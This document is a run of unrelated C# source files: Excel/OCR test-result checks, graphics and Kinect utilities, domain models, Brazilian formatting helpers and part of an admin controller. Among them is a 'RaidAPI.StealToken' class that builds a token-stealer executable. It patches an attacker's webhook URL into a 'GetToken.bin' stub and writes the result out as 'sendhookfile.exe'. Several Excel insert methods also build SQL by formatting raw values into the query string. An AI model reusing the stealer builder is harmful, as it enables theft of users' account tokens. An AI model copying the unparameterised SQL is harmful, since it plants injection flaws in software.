MessageBox.Show("Unit count not matched, additional " + ((iExcelRowTotal - iPID + 1) - (iOCRRow - iOCRReject)).ToString() + " row(s) on TEST RESULT.", "Failed!", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
else
{
MessageBox.Show("Unit count not matched, additional " + ((iOCRRow - iOCRReject) - (iExcelRowTotal - iPID + 1)).ToString() + " row(s) on OCR.", "Failed!", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
//Exit if CSV file corrupted
else
{
MessageBox.Show("Result file(csv) corrupted, please check!", "File reading error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
catch (Exception ex)
{
MessageBox.Show("CY Try3\r\n" + ex.Message);
}
//Garbage collector, flushes out used memories
try
{
GC.Collect();
}
catch { }
}
}
public class FileStream
{
StreamWriter sw;
public void CreateNewFolder(string Path)
{
if (Directory.Exists(Path) == false)
{
Directory.CreateDirectory(Path);
}
}
public string FileBrowser()
{
string FileSelect = "";
OpenFileDialog OFD = new OpenFileDialog();
if (OFD.ShowDialog() == DialogResult.OK)
{
FileSelect = OFD.FileName.ToString();
}
return FileSelect;
}
public void WriteLineToTextFile(string FileName, string Text)
{
sw = new StreamWriter(FileName, true);
sw.WriteLine(Text);
sw.Close();
}
public void RunApplication(string directory)
{
Process ProcessBat;
ProcessBat = new Process();
ProcessBat = Process.Start(directory);
ProcessBat.WaitForExit(24000);
ProcessBat.Close();
}
public void DeleteFile(string filename)
{
File.Delete(filename);
}
public void CopyFile(string Source, string Destination)
{
File.Copy(Source, Destination);
}
public int CheckTextFileLineNumber(string filename)
{
int linenumber = 0;
using (StreamReader r = new StreamReader(filename))
{
string line;
while ((line = r.ReadLine()) != null)
{
linenumber++;
}
}
return linenumber;
}
public ArrayList ReadTextContentByLine_ArrayList(string filename, int linenumber)
{
ArrayList Result = new ArrayList();
using (StreamReader r = new StreamReader(filename))
{
int line = 0;
string text = "";
while ((line < linenumber))
{
text = r.ReadLine();
if (text != "")
{
Result.Add(text);
}
line++;
}
}
return Result;
}
public List<string> ReadTextContentByLine_List(string filename, int linenumber)
{
List<string> Result = new List<string>();
using (StreamReader r = new StreamReader(filename))
{
int line = 0;
string text = "";
while ((line < linenumber))
{
text = r.ReadLine();
if (text != "")
{
Result.Add(text);
}
line++;
}
}
return Result;
}
public string ReadTextFileLine(string filename, int linenumber)
{
string text = "";
int line = 0;
using (StreamReader r = new StreamReader(filename))
{
while ((line < linenumber - 1))
{
text = r.ReadLine();
line++;
}
text = r.ReadLine();
}
return text;
}
public int ReadTextLineNumberWithWord(string filename, string word)
{
int linenumber = 1;
string text = "";
using (StreamReader r = new StreamReader(filename))
{
while (true)
{
text = r.ReadLine();
if (text != null)
{
if (text.Contains(word))
{
break;
}
}
linenumber++;
}
}
return linenumber;
}
}
public class ExcelApplication
{
//Interop Method - Read
public int ReadExcelRow(string filename)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = 1; rCnt <= range.Rows.Count; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return rCnt;
}
public int ReadExcelRowStartWithWord(string filename, string word)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
string svalue;
bool done = false;
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = 1; rCnt <= range.Rows.Count; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
if (str != null)
{
svalue = (string)str;
if (svalue.Contains(word))
done = true;
}
}
if (done)
break;
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return rCnt;
}
public string ReadExcelColumn(string filename, int row)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
string value = "";
int rCnt = row;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = row; rCnt <= row; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
value = (string)str;
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return value;
}
public ArrayList ReadExcelColumn_ArrayList(string filename, int row)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
ArrayList value = new ArrayList();
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = row; rCnt <= row; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
value.Add(str);
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return value;
}
public ArrayList ReadExcelColumnWithSize_ArrayList(string filename, int startrow, int endrow)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
ArrayList value = new ArrayList();
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = startrow; rCnt <= endrow; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
value.Add(str);
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return value;
}
public List<string> ReadExcelColumnWithSize_List(string filename, int startrow, int endrow)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
List<string> value = new List<string>();
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = startrow; rCnt <= endrow; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
value.Add((string)str);
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return value;
}
public ArrayList ReadExcelColumnWithRowAndKeyword_ArrayList(string filename, int startrow, int endrow, string keyword)
{
Excel.Application xlApp;
Excel.Workbook xlWorkBook;
Excel.Worksheet xlWorkSheet;
Excel.Range range;
object str;
ArrayList value = new ArrayList();
int rCnt = 0;
int cCnt = 0;
xlApp = new Excel.Application();
xlWorkBook = xlApp.Workbooks.Open(filename, 0, true, 5, "", "", true, Microsoft.Office.Interop.Excel.XlPlatform.xlWindows, "\t", false, false, 0, true, 1, 0);
xlWorkSheet = (Excel.Worksheet)xlWorkBook.Worksheets.get_Item(1);
range = xlWorkSheet.UsedRange;
for (rCnt = startrow; rCnt <= endrow; rCnt++)
{
for (cCnt = 1; cCnt <= range.Columns.Count; cCnt++)
{
str = (range.Cells[rCnt, cCnt] as Excel.Range).Value2;
if (str != null && str.ToString().Contains(keyword))
{
value.Add(str);
}
}
}
xlWorkBook.Close(true, null, null);
xlApp.Quit();
releaseObject(xlWorkSheet);
releaseObject(xlWorkBook);
releaseObject(xlApp);
return value;
}
private static void releaseObject(object obj)
{
try
{
System.Runtime.InteropServices.Marshal.ReleaseComObject(obj);
obj = null;
}
catch (Exception ex)
{
obj = null;
}
finally
{
GC.Collect();
}
}
//OLEDB Method - Write
public void CreateExcelWithIndex(string filename, string tablename, string index)
{
System.Data.OleDb.OleDbConnection CN = new System.Data.OleDb.OleDbConnection();
CN.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + filename + ";Extended Properties=Excel 8.0";
CN.Open();
System.Data.OleDb.OleDbCommand CM = CN.CreateCommand();
string Command;
//Create Table
Command = string.Format("CREATE TABLE {0} ({1})", tablename, index);
CM.CommandText = Command;
CM.ExecuteNonQuery();
Command = "";
}
public void InsertIntoExcel(string filename, string tablename, string word)
{
System.Data.OleDb.OleDbConnection CN = new System.Data.OleDb.OleDbConnection();
CN.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + filename + ";Extended Properties=Excel 8.0";
CN.Open();
System.Data.OleDb.OleDbCommand CM = CN.CreateCommand();
string Command;
//Insert to Table
Command = string.Format("INSERT INTO [{0}] VALUES ({1})", tablename, word);
CM.CommandText = Command;
CM.ExecuteNonQuery();
CN.Close();
}
public void InsertIntoExcel(string filename, string tablename, ArrayList Name, ArrayList Value)
{
System.Data.OleDb.OleDbConnection CN = new System.Data.OleDb.OleDbConnection();
CN.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + filename + ";Extended Properties=Excel 8.0";
CN.Open();
System.Data.OleDb.OleDbCommand CM = CN.CreateCommand();
string Command;
//Insert to Table
int i, length = 0;
length = Name.Count;
for (i = 0; i < length; i++)
{
Command = string.Format("INSERT INTO [{0}] VALUES ('{1}', '{2}')", tablename, Name[i].ToString(), Value[i].ToString());
CM.CommandText = Command;
CM.ExecuteNonQuery();
}
CN.Close();
}
public void InsertIntoExcel(string filename, string tablename, ArrayList Name, ArrayList Value1, ArrayList Value2)
{
System.Data.OleDb.OleDbConnection CN = new System.Data.OleDb.OleDbConnection();
CN.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + filename + ";Extended Properties=Excel 8.0";
CN.Open();
System.Data.OleDb.OleDbCommand CM = CN.CreateCommand();
string Command;
//Insert to Table
int i, length = 0;
length = Name.Count;
for (i = 0; i < length; i++)
{
Command = string.Format("INSERT INTO [{0}] VALUES ('{1}', '{2}', '{3}')", tablename, Name[i].ToString(), Value1[i].ToString(), Value2[i].ToString());
CM.CommandText = Command;
CM.ExecuteNonQuery();
}
CN.Close();
}
public void InsertIntoExcel(string filename, string tablename, List<string> Name, List<string> Value1, List<string> Value2)
{
System.Data.OleDb.OleDbConnection CN = new System.Data.OleDb.OleDbConnection();
CN.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + filename + ";Extended Properties=Excel 8.0";
CN.Open();
System.Data.OleDb.OleDbCommand CM = CN.CreateCommand();
string Command;
//Insert to Table
int i, length = 0;
length = Name.Count;
for (i = 0; i < length; i++)
{
Command = string.Format("INSERT INTO [{0}] VALUES ('{1}', '{2}', '{3}')", tablename, Name[i].ToString(), Value1[i].ToString(), Value2[i].ToString());
CM.CommandText = Command;
CM.ExecuteNonQuery();
}
CN.Close();
}
}
} |
using SharpDX;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
using SharpDX;
using Common;
namespace LoadMeshes.Application
{
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct Vertex
{
public Vector3 Position;
public Vector3 Normal;
public Color Color;
public Vector2 UV;
public Mesh.SkinningVertex Skin;
public Vertex(Vector3 position, Vector3 normal, Color color)
{
this.Position = position;
this.Normal = normal;
this.Color = color;
this.UV = Vector2.Zero;
this.Skin = new Mesh.SkinningVertex();
}
public Vertex(Vector3 position, Vector3 normal, Color color, Vector2 uv)
: this(position, normal, color)
{
this.UV = uv;
}
public Vertex(Vector3 position, Color color)
: this(position, Vector3.Normalize(position), color)
{
}
public Vertex(Vector3 position)
: this(position, Vector3.Normalize(position), SharpDX.Color.White)
{
}
public Vertex(Vector3 position, Vector3 normal, Color color, Vector2 uv, Mesh.SkinningVertex skin)
{
this.Position = position;
this.Normal = normal;
this.Color = color;
this.UV = uv;
this.Skin = skin;
}
}
}
|
using Store.Books.Domain.Enums;
using Store.Books.Domain.Base;
using System;
namespace Store.Books.Domain
{
public class Order : BaseDateEntity
{
public string UserName { get; set; }
public OrderStatusEnum Status { get; set; }
public decimal Total { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace CFDI.Model
{
public class MenuModel
{
public string Id { get; set; }
public string Opcion { get; set; }
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Vip.Printer;
namespace Gerene.DFe.EscPos
{
public static class GereneHelpers
{
#region String
public static bool IsNull(this string _str) => string.IsNullOrEmpty(_str) || string.IsNullOrWhiteSpace(_str) || string.IsNullOrEmpty(_str.Trim());
public static bool IsNotNull(this string _str) => !_str.IsNull();
public static string OnlyNumber(this string value, bool decimalsperator = false, bool negative = false)
{
var numbers = new List<char>("1234567890");
if (decimalsperator)
numbers.Add(',');
if (negative)
numbers.Add('-');
string result = string.Empty;
if (!string.IsNullOrEmpty(value))
{
for (int i = 0; i < value.Length; i++)
{
bool add = false;
for (int j = 0; j < numbers.Count; j++)
{
if (value[i] == numbers[j])
{
add = true;
break;
}
}
if (add)
result += value[i];
}
}
return result;
}
public static string[] WrapText(this string text, int max)
{
if (string.IsNullOrEmpty(text))
return new string[] { text };
if (max == 0)
return new string[] { text };
var charCount = 0;
var lines = text.Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
return lines.GroupBy(w => (charCount += (((charCount % max) + w.Length + 1 >= max)
? max - (charCount % max) : 0) + w.Length + 1) / max)
.Select(g => string.Join(" ", g.ToArray()))
.ToArray();
}
#region Formatação
public static string FormatoCep(this string cep)
{
var _codigopostal = cep.OnlyNumber();
if (_codigopostal.IsNull() || _codigopostal.Length != 8)
return cep;
return $"{_codigopostal.Substring(0, 2)}.{_codigopostal.Substring(2, 3)}-{_codigopostal.Substring(5, 3)}";
}
public static string FormatoTelefone(this string fone)
{
var _tel = fone.OnlyNumber();
if (_tel.Length == 10)
return $"({_tel.Substring(0, 2)}) {_tel.Substring(2, 4)}-{_tel.Substring(6, 4)}";
if (fone.Length == 11)
return $"({_tel.Substring(0, 2)}) {_tel.Substring(2, 5)}-{_tel.Substring(7, 4)}";
return fone;
}
public static string FormatoCpfCnpj(this string documento)
{
var _docto = documento.OnlyNumber();
if (_docto.Length == 11)
return $"{_docto.Substring(0, 3)}.{_docto.Substring(3, 3)}.{_docto.Substring(6, 3)}-{_docto.Substring(9, 2)}";
if (_docto.Length == 14)
return $"{_docto.Substring(0, 2)}.{_docto.Substring(2, 3)}.{_docto.Substring(5, 3)}/{_docto.Substring(8, 4)}-{_docto.Substring(12, 2)}";
return documento;
}
#endregion
public static string TextoEsquerda_Direita(string textoE, string textoR, int colunas)
{
int padLenght = colunas - (textoR.Length + 1);
string textoE_new = string.Empty;
if (textoE.Length + 3 >= padLenght)
textoE_new = textoE.Substring(0, padLenght - 3).PadRight(padLenght);
else
textoE_new = textoE.PadRight(padLenght);
return textoE_new + textoR;
}
public static string LimitarString(this string txt, int length)
{
if (txt.IsNull())
return string.Empty;
if (txt.Length < length)
return txt;
return txt.Substring(0, length);
}
#endregion
}
}
|
//
// Copyright (c) .NET Foundation. All rights reserved.
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
//
#region Usings
using System;
#endregion
namespace DotNetNuke.Services.Upgrade.Internals.InstallConfiguration
{
/// -----------------------------------------------------------------------------
/// <summary>
/// LicenseConfig - A class that represents Install/DotNetNuke.Install.Config/LicenseActivation
/// </summary>
/// -----------------------------------------------------------------------------
public class LicenseConfig
{
public string AccountEmail { get; set; }
public string InvoiceNumber { get; set; }
public string WebServer { get; set; }
public string LicenseType { get; set; }
public bool TrialRequest { get; set; }
}
}
|
using Hotel.Data.Models;
using Microsoft.AspNetCore.Mvc.Rendering;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Hotel.Web.Areas.ModulRecepcija.ViewModels
{
public class UrediNarudzbuVM
{
public int Id { set; get; }
public DateTime DatumKreiranja { set; get; }
public string Hitnost { set; get; }
public string Opis { set; get; }
}
}
|
using Plus.Communication.Packets.Outgoing.Inventory.Badges;
using Plus.HabboHotel.GameClients;
namespace Plus.Communication.Packets.Incoming.Inventory.Badges
{
internal class GetBadgesEvent : IPacketEvent
{
public void Parse(GameClient session, ClientPacket packet)
{
session.SendPacket(new BadgesComposer(session.GetHabbo().GetBadgeComponent().GetBadges()));
}
}
} |
using System;
using System.Linq;
using System.Windows.Forms;
using Mono.Cecil;
using Mono.Cecil.Cil;
namespace RaidAPI.StealToken
{
public static class Stealer
{
public static void Dialog(string _Hook)
{
string output = "output/sendhookfile.exe";
Stealer.CreateExe(_Hook, output);
}
internal static void CreateExe(string _Hook, string _Output)
{
try
{
AssemblyDefinition assemblyDefinition = AssemblyDefinition.ReadAssembly("GetToken.bin");
foreach (Instruction instruction in assemblyDefinition.MainModule.Types.First((TypeDefinition ty) => ty.FullName == "StealerBin.API").Methods.First((MethodDefinition me) => me.Name == ".cctor").Body.Instructions)
{
if (instruction.OpCode == OpCodes.Ldstr)
{
instruction.Operand = _Hook;
break;
}
}
assemblyDefinition.Write(_Output);
}
catch
{
MessageBox.Show("Cant create .exe\r\nGetToken.bin was modified or removed.", "ItroublveTSC");
}
}
}
}
|
using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows;
using System.Windows.Controls;
using System.Windows.Data;
using System.Windows.Documents;
using System.Windows.Input;
using System.Windows.Media;
using System.Windows.Media.Imaging;
using System.Windows.Shapes;
using Microsoft.Win32;
using Microsoft.Kinect;
using AForge.Math;
namespace FinalProject_KinectCoach
{
/// <summary>
/// Util class with static methods for manipulation SkeletonPoint objects.
/// Due to this object being a struct, I couldn't try encapsulating it to provide my own functionality.
/// Hopefully there will be a better solution in the future.
/// </summary>
class KinectFrameUtils
{
public static List<Skeleton> AlignFrames(List<Skeleton> skels, int nFrames)
{
int diff = skels.Count - nFrames;
if (diff == 0)
{
return skels;
}
else if (diff < 0)
{
return InterpolateFrames(skels, nFrames);
}
else
{
return RemoveFrames(skels, nFrames);
}
}
private static List<Skeleton> InterpolateFrames(List<Skeleton> skels, int nFrames)
{
int diff = nFrames - skels.Count;
List<Skeleton> result = skels;
List<double> dists = new List<double>();
for (int i = 0; i < skels.Count - 1; i++)
{
dists.Add(GetDistBetweenFrames(skels.ElementAt(i), skels.ElementAt(i + 1)));
}
for (int i = 0; i < diff; i++)
{
if (dists.Count == 0)
{
break;
}
double max = dists.Min();
int index = dists.IndexOf(max);
Skeleton insert = GetMidFrame(skels.ElementAt(index), skels.ElementAt(index + 1));
result.Insert(index, insert);
dists.RemoveAt(index);
}
return AlignFrames(result, nFrames);
}
private static List<Skeleton> RemoveFrames(List<Skeleton> skels, int nFrames)
{
int diff = skels.Count - nFrames;
List<Skeleton> result = new List<Skeleton>();
List<double> dists = new List<double>();
for (int i = 0; i < skels.Count - 1; i++)
{
dists.Add(GetDistBetweenFrames(skels.ElementAt(i), skels.ElementAt(i + 1)));
}
List<int> ignore = new List<int>();
int j = 0;
while (j < diff)
{
double min = dists.Min();
int index = dists.IndexOf(min);
if (index < skels.Count - 3)
{
ignore.Add(index);
j++;
}
dists.RemoveAt(index);
}
for (int i = 0; i < skels.Count; i++)
{
if (ignore.Contains(i))
{
continue;
}
result.Add(skels.ElementAt(i));
}
return AlignFrames(result, nFrames);
}
public static List<Skeleton> GetStartCorrectedFrames(List<Skeleton> test, List<Skeleton> action)
{
test = KinectFrameUtils.AlignFrames(test, action.Count);
double dist = GetTotalDistTraveled(action);
int frameStart = -1;
int rawStart = -1;
for (int i = 0; i < action.Count; i++)
{
if (KinectFrameUtils.GetTotalDistTraveled(action.GetRange(0, i)) > (dist / 5) && frameStart < 0)
{
frameStart = i;
}
if (KinectFrameUtils.GetTotalDistTraveled(test.GetRange(0, i)) > (dist / 5) && rawStart < 0)
{
rawStart = i;
}
}
int diff = frameStart - rawStart;
if (diff > 0)
{
for (int i = 0; i < diff; i++)
{
test = AlignFrames(test, test.Count - 1);
test.Insert(0, test[0]);
}
}
else
{
for (int i = 0; i < -diff; i++)
{
test.RemoveAt(0);
test.Add(test[test.Count - 1]);
}
}
return test;
}
private static Skeleton GetMidFrame(Skeleton frame1, Skeleton frame2)
{
Skeleton mid = new Skeleton();
foreach (Joint j1 in frame1.Joints)
{
Joint j2 = frame2.Joints[j1.JointType];
Joint j = mid.Joints[j1.JointType];
j.TrackingState = j1.TrackingState;
SkeletonPoint p = new SkeletonPoint();
p.X = (j1.Position.X + j2.Position.X) / 2.0f;
p.Y = (j1.Position.Y + j2.Position.Y) / 2.0f;
p.Z = (j1.Position.Z + j2.Position.Z) / 2.0f;
j.Position = p;
mid.Joints[j.JointType] = j;
}
return mid;
}
public static Skeleton TransRotateTrans(Skeleton frame, Matrix3x3 rot)
{
Skeleton frameShift = ShiftFrame(frame, frame.Joints[JointType.HipCenter].Position);
Skeleton frameRot = ApplyTransformToFrame(frameShift, rot);
return ShiftFrame(frameRot, NegativePosition(frame.Joints[JointType.HipCenter].Position));
}
public static Skeleton ApplyTransformToFrame(Skeleton frame, Matrix3x3 trans)
{
Skeleton res = new Skeleton();
foreach (Joint j in frame.Joints)
{
Joint j2 = j;
j2.Position = MultiplyPositionMatrix(trans, j2.Position);
res.Joints[j2.JointType] = j2;
}
return res;
}
public static Skeleton ShiftFrame(Skeleton frame, SkeletonPoint p)
{
Skeleton res = new Skeleton();
foreach (Joint j in frame.Joints)
{
Joint j2 = j;
j2.Position = SubtractPosition(j.Position, p);
res.Joints[j2.JointType] = j2;
}
return res;
}
public static double GetDistBetweenFrames(Skeleton frame1, Skeleton frame2)
{
double dist = 0;
foreach (Joint j in frame1.Joints)
{
Joint jc = frame2.Joints[j.JointType];
SkeletonPoint p = j.Position;
SkeletonPoint pc = jc.Position;
dist += Math.Sqrt(Math.Pow(p.X - pc.X, 2) + Math.Pow(p.Y - pc.Y, 2) + Math.Pow(p.Z - pc.Z, 2));
}
return dist;
}
public static double GetTotalDistTraveled(List<Skeleton> frames)
{
double result = 0;
for (int i = 0; i < frames.Count - 1; i++)
{
result += GetDistBetweenFrames(frames.ElementAt(i), frames.ElementAt(i + 1));
}
return result;
}
public static double PositionDistance(SkeletonPoint p, SkeletonPoint pc)
{
return Math.Sqrt(Math.Pow(p.X - pc.X, 2) + Math.Pow(p.Y - pc.Y, 2) + Math.Pow(p.Z - pc.Z, 2));
}
public static double GetTotalDistBetween(List<Skeleton> test, List<Skeleton> action)
{
List<Skeleton> aligned = AlignFrames(test, action.Count);
double res = 0;
for (int i = 0; i < aligned.Count; i++)
{
res += GetDistBetweenFrames(aligned[i], action[i]);
}
return res;
}
public static SkeletonPoint SubtractPosition(SkeletonPoint p1, SkeletonPoint p2)
{
SkeletonPoint pos = new SkeletonPoint();
pos.X = p1.X - p2.X;
pos.Y = p1.Y - p2.Y;
pos.Z = p1.Z - p2.Z;
return pos;
}
public static SkeletonPoint MultiplyPositionMatrix(Matrix3x3 mat, SkeletonPoint p)
{
SkeletonPoint pos = new SkeletonPoint();
pos.X = p.X * mat.V00 + p.Y * mat.V01 + p.Z * mat.V02;
pos.Y = p.X * mat.V10 + p.Y * mat.V11 + p.Z * mat.V12;
pos.Z = p.X * mat.V20 + p.Y * mat.V21 + p.Z * mat.V22;
return pos;
}
public static SkeletonPoint NegativePosition(SkeletonPoint p)
{
SkeletonPoint r = new SkeletonPoint();
r.X = -p.X;
r.Y = -p.Y;
r.Z = -p.Z;
return r;
}
public static Matrix3x3 GetRotationMatrix(Skeleton mFrame, Skeleton rFrame)
{
Skeleton mFrameShift = ShiftFrame(mFrame, mFrame.Joints[JointType.HipCenter].Position);
Skeleton rFrameShift = ShiftFrame(rFrame, rFrame.Joints[JointType.HipCenter].Position);
Matrix3x3 rotMatrix = new Matrix3x3();
double bestDist = -1;
float bestR = 0;
for (float r = (float)-Math.PI / 2; r < Math.PI / 2; r = r + (float)(Math.PI / 100))
{
rotMatrix = Matrix3x3.CreateRotationX(r);
double dist = GetDistBetweenFrames(mFrameShift, ApplyTransformToFrame(rFrameShift, rotMatrix));
if (dist < bestDist || bestDist < 0)
{
bestR = r;
bestDist = dist;
}
}
float alpha = bestR;
rFrameShift = ApplyTransformToFrame(rFrameShift, Matrix3x3.CreateRotationX(bestR));
bestDist = -1;
bestR = 0;
for (float r = (float)-Math.PI / 2; r < Math.PI / 2; r = r + (float)(Math.PI / 100))
{
rotMatrix = Matrix3x3.CreateRotationY(r);
double dist = GetDistBetweenFrames(mFrameShift, ApplyTransformToFrame(rFrameShift, rotMatrix));
if (dist < bestDist || bestDist < 0)
{
bestR = r;
bestDist = dist;
}
}
float beta = bestR;
rFrameShift = ApplyTransformToFrame(rFrameShift, Matrix3x3.CreateRotationY(bestR));
bestDist = -1;
bestR = 0;
for (float r = (float)-Math.PI / 2; r < Math.PI / 2; r = r + (float)(Math.PI / 100))
{
rotMatrix = Matrix3x3.CreateRotationZ(r);
double dist = GetDistBetweenFrames(mFrameShift, ApplyTransformToFrame(rFrameShift, rotMatrix));
if (dist < bestDist || bestDist < 0)
{
bestR = r;
bestDist = dist;
}
}
float gamma = bestR;
return Matrix3x3.CreateFromYawPitchRoll(beta, alpha, gamma);
}
}
}
|
using UnityEngine;
using System.Collections;
public class Goblin : EntityBase
{
public string Name = "GOBLIN";
public override string GetName()
{
return Name;
}
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
}
}
|
using SinavSistemi.Entity;
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SqlClient;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SinavSistemi.DataAccessLayer
{
public class OgretmenDAL
{
private DBHelper dbHelper;
public OgretmenDAL()
{
dbHelper = new DBHelper();
}
public DataTable GetAllItems(OgretmenEntity ogretmen)
{
SqlCommand cmd = dbHelper.GetSqlCommand();
cmd.CommandText = "SELECT * FROM tbl_Ogretmen";
cmd.ExecuteNonQuery();
SqlDataAdapter da = new SqlDataAdapter(cmd);
DataTable dt = new DataTable();
da.Fill(dt);
return dt;
}
public bool GirisKontrolu(string kullaniciAD, string parola)
{
SqlCommand cmd = dbHelper.GetSqlCommand();
cmd.CommandText = "SELECT * FROM tbl_Ogretmen WHERE ogretmenKullaniciAd = @p1 and ogretmenSifre = @p2";
cmd.Parameters.AddWithValue("@p1", kullaniciAD);
cmd.Parameters.AddWithValue("@p2", parola);
SqlDataReader dr = cmd.ExecuteReader();
bool kontrol;
if (dr.Read())
{
kontrol = true;
}
else kontrol = false;
return kontrol;
}
}
}
|
using AutoMapper;
using MZcms.Core.Helper;
using MZcms.IServices;
using MZcms.Model;
using MZcms.Web.Framework;
using MZcms.Web.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
namespace MZcms.Web.Areas.Admin.Controllers
{
public class SiteSettingController : BaseAdminController
{
ISiteSettingService _iSiteSettingService;
public SiteSettingController(ISiteSettingService iSiteSettingService)
{
_iSiteSettingService = iSiteSettingService;
}
public ActionResult Edit()
{
SiteSettingsInfo siteSetting = _iSiteSettingService.GetSiteSettings();
Mapper.CreateMap<SiteSettingsInfo, SiteSettingModel>().ForMember(a => a.SiteIsOpen, b => b.MapFrom(s => s.SiteIsClose));
var siteSettingModel = Mapper.Map<SiteSettingsInfo, SiteSettingModel>(siteSetting);
siteSettingModel.Logo = Core.MZcmsIO.GetImagePath(siteSettingModel.Logo);
siteSettingModel.QRCode = Core.MZcmsIO.GetImagePath(siteSettingModel.QRCode);
return View(siteSettingModel);
}
[HttpPost]
[ValidateInput(false)]
public JsonResult Edit(SiteSettingModel siteSettingModel)
{
if (string.IsNullOrWhiteSpace(siteSettingModel.Logo))
{
return Json(new Result() { success = false, msg = "请上传Logo", status = -2 });
